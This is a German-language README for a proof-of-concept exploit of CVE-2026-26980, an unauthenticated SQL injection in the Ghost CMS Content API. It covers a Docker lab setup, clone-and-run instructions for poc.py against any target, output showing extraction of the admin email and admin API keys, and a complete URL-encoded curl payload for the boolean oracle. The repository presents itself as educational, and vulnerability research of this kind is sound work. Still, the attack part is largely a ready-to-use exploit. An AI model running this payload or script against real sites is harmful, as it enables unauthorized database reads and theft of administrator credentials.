
Ghost Content API SQL Injection
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQL Injection PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 ist eine nicht authentifizierte SQL-Injection-Schwachstelle in der Content API von TryGhost Ghost CMS. Der anfällige Pfad ist über die Filterbehandlungslogik der öffentlichen Content API erreichbar, wenn die Sortierung von slug:[...] verarbeitet wird.
Dieses PoC erstellt ein kontrolliertes Ghost-6.19.0-Labor und demonstriert, wie eine öffentliche Content-API-Anfrage in eine boolesche Datenbank-Leseprimitive umgewandelt werden kann.
| Produkt | Betroffene Version | Behobene Version | Schwachstellentyp |
|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL Injection |
Die Laborumgebung verwendet Ghost 6.19.0.
Erstellen und starten Sie die anfällige Ghost-CMS-Umgebung mit Docker:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
Beispiel:
http://127.0.0.1:9102/

Das Labor betreibt eine echte anfällige Ghost-6.19.0-Instanz auf Port 9102.
Der Content-API-Schlüssel des Labors lautet:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL-Injection-Schwachstelle
Beschreibung: Eine SQL-Injection-Schwachstelle in TryGhost Ghost CMS vor 6.19.1 erlaubt es einem nicht authentifizierten Angreifer mit Zugriff auf einen öffentlichen Content-API-Schlüssel, beliebige Datenbankwerte über den Filterparameter der Content API auszulesen. Das Problem tritt im slug:[...]-Filter-Sortierungspfad auf, bei dem vom Benutzer kontrollierte Slug-Werte ohne ordnungsgemäße Parameterbindung in rohes SQL eingefügt werden.
Ghost-Content-API-Schlüssel werden absichtlich über Themes, Suche, Portal oder Frontend-JavaScript im Browser offengelegt. Das bedeutet, dass der anfällige Pfad ohne Ghost-Admin-Authentifizierung erreichbar sein kann.
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
Optionaler benutzerdefinierter Content-API-Schlüssel:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
Beispiel für [Target]: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
Das öffentliche PoC demonstriert die Auswirkungen auf das Datenbank-Lesen, indem es für das Labor unbedenkliche Datenbankmetadaten und Ghost-API-Schlüsselmaterial extrahiert. Es gibt die Challenge-Flag nicht aus.
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
Die anfällige Logik befindet sich im Eingabeserialisierungspfad der Content API von Ghost für slug:[...]-Filter. Ghost unterstützt listenartige Slug-Filter und erhält die angeforderte Slug-Reihenfolge, indem es einen ORDER BY CASE-Ausdruck generiert.
In anfälligen Versionen werden vom Benutzer kontrollierte Slug-Werte in ein SQL-Fragment eingefügt. Ein vereinfachtes anfälliges Muster ist:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
Da slug vom Angreifer kontrolliert wird und ohne Parameterbindung in den SQL-String eingefügt wird, kann ein präparierter Content-API-Filter aus dem beabsichtigten Vergleich ausbrechen und zusätzliche SQL-Logik injizieren.
Das Labor-PoC verwendet zwei öffentliche Tags, bacon und chorizo, als beobachtbares boolesches Orakel.
bacon zuerst sortiert.chorizo zuerst sortiert.Durch Wiederholen dieses Tests mit verschiedenen SQL-Bedingungen kann das PoC Datenbankwerte Zeichen für Zeichen ableiten.
Boolescher Orakel-Check mit curl:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
Die Grundursache ist die unsichere Konstruktion eines SQL-ORDER BY CASE-Fragments aus vom Benutzer kontrollierten slug-Werten. Der anfällige Code versucht, die Antwortreihenfolge der Content API beizubehalten, behandelt aber geparste NQL-Filterwerte als vertrauenswürdigen SQL-Text.
Eine robuste Lösung muss:
Ghost hat dieses Problem in 6.19.1 behoben, indem die rohe Interpolation durch parametrisierte Query-Bindings ersetzt wurde.
Dies ist ein Problem des Typs CWE-89: Improper Neutralization of Special Elements used in an SQL Command.
Da die Ghost-Content-API absichtlich öffentlich ist, kann diese Schwachstelle es einem nicht authentifizierten Angreifer ermöglichen, über einen öffentlichen Content-Endpunkt eine Datenbank-Leseprimitive zu erzeugen. Abhängig vom Datenbankinhalt und den Berechtigungen könnte ein Angreifer in der Lage sein:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
Dieses Labor betreibt eine echte anfällige Ghost-6.19.0-Instanz statt eines minimalen Mock-Servers.
Das Labor legt folgende Daten an:
EQSTLab299bacon, chorizoDas öffentliche poc.py ist für Demonstrationsvideos und öffentliche Write-ups konzipiert. Es zeigt die Auswirkungen der SQL-Injection, ohne die Challenge-Flag auszugeben.
docker stop cve-2026-26980
Dieses Repository ist nicht als SQL-Injection-Exploit für CVE-2026-26980 gedacht. Der Zweck dieses Projekts ist es, Menschen dabei zu helfen, etwas über diese Schwachstelle zu lernen und möglicherweise ihre eigenen Anwendungen zu testen.